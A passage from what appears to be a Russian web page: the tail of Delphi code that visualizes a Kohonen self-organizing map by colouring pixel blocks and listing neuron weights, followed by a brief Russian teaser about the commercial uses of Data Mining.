Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,160,160);
end
else if SHack[i]=3 then
begin
for m:=0 to W1-1 do
for k:=0 to H1-1 do
Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,200,200);
end
else
begin
for m:=0 to W1-1 do
for k:=0 to H1-1 do
Image1.Picture.Bitmap.Canvas.Pixels[(Winner div W)*W1+m,(Winner mod W)*H1+k]:=RGB(225,225,225);
end;
//Image2.Picture.Bitmap.Canvas.
//.Pixels[j,i]:=RGB(
end;
for i:=0 to KMap.QNeurons-1 do
begin
if KMap.Neurons[i].MassWeight[0]=1 then
begin
Memo3.Lines.Add('Íåéðîí '+IntToStr(i));
for j:=0 to KMap.QInputs-1 do
Memo3.Lines.Add(FloatToStr(KMap.Neurons[i].MassWeight[j]));
end;
end;
end;
... ? Сфера применения Data Mining ничем не ограничена - она везде, где имеются какие-либо данные. Но в первую очередь методы Data Mining сегодня, мягко говоря, заинтриговали коммерческие предприятия, развертывающие проекты на основе информационных хранилищ данных (Data Warehousing). Опыт многих таких предприятий показывает, что отдача от использования Data Mining может достигать 1000%. Например, ...
0 комментариев